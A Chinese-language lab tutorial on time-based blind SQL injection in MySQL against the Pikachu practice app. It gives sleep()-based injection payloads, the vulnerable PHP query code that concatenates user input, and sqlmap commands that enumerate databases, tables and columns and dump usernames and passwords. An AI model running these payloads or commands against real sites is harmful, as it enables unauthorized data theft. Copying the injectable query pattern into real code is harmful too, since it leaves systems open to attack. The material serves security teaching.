一、时间注入
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧。
在 mysql 里 函数 sleep ( ) 是延时的意思,sleep ( 10 ) 就是数据库延时 10 秒返回内容。判断注入可以使用' and sleep(10),数据
库延时10秒返回值,网页响应时间至少要10秒,根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0),2>1这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0),这个就是查询当前库大于1,就会延时5秒执行。
vince' and if ( length ( database ( ) ) > 1 , sleep ( 5 ) , 0 ) -- +
可以看到网页是大于五秒返回。根据这个原理 n> 1 ,n不延时就能确定当前数据库的长度了。
如果想要获取数据内容,可以用截取字符再进行字符对比,如果相同就进行延时。这样就能获取字符,接着再拼接就是当前库的内容。
二、代码分析
在页面中分析源码,直接获取 name 带进数据库进行查询,但是是否存在记录页面返回都一样。
$link = connect ( ) ;
$html = '' ;
if ( isset ( $_GET [ 'submit' ] ) && $_GET [ 'name' ] != null ) {
$name = $_GET [ 'name' ] ;
$query = "select id,email from member where username='$name '" ;
$result = execute ( $link , $query ) ;
if ( mysqli_num_rows ( $result ) >= 1 ) {
while ( $data = mysqli_fetch_assoc ( $result ) ) {
$id = $data [ 'id' ] ;
$email = $data [ 'email' ] ;
$html .= "<p class='notice'>your uid:{ $id } <br />your email is: { $email } </p>" ;
}
} else {
$html .= "<p class='notice'>您输入的username不存在,请重新输入!</p>" ;
}
}
三、sqlmap测时间注入
在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。
1、基本使用
采用时间注入:
sqlmap - u "http://192.168.1.40/06/vul/sqli/sqli_str.php?name=vince&submit=1" - p name - v 1 -- technique= T
- u 表示检测的 url
- p 指定的检测参数
- v 显示调试模式
-- technique= T 检测方法为时间注入
2、获取用户和数据库名
sqlmap 检测为时间注入,通过这个注入获取数据库名、用户权限、表、字段等敏感信息。
sqlmap - u "http://192.168.1.40/06/vul/sqli/sqli_str.php?name=vince&submit=1" - p name - v 1 -- technique= T -- current- user -- current- db -- batch
-- current- user 获取用户
-- current- db 当前库
-- batch 使用默认模式,自动 y
3、获取表
- D 指定数据库
-- tables 获取表
sqlmap - u "http://192.168.1.40/06/vul/sqli/sqli_str.php?name=vince&submit=1" - p name - v 1 -- technique= T -- tables - D pikachu -- batch
4、获取字段
- T 指定表
-- columns 获取字段
sqlmap - u "http://192.168.1.40/06/vul/sqli/sqli_str.php?name=vince&submit=1" - p name - v 1 -- technique= T -- columns - T users - D pikachu -- batch
5、查询账号和密码
-- dump 导出数据
- C 指定查询的字段
sqlmap - u "http://192.168.1.40/06/vul/sqli/sqli_str.php?name=vince&submit=1" - p name - v 1 -- technique= T -- dump - C "id,username,password" - T users - D pikachu -- batch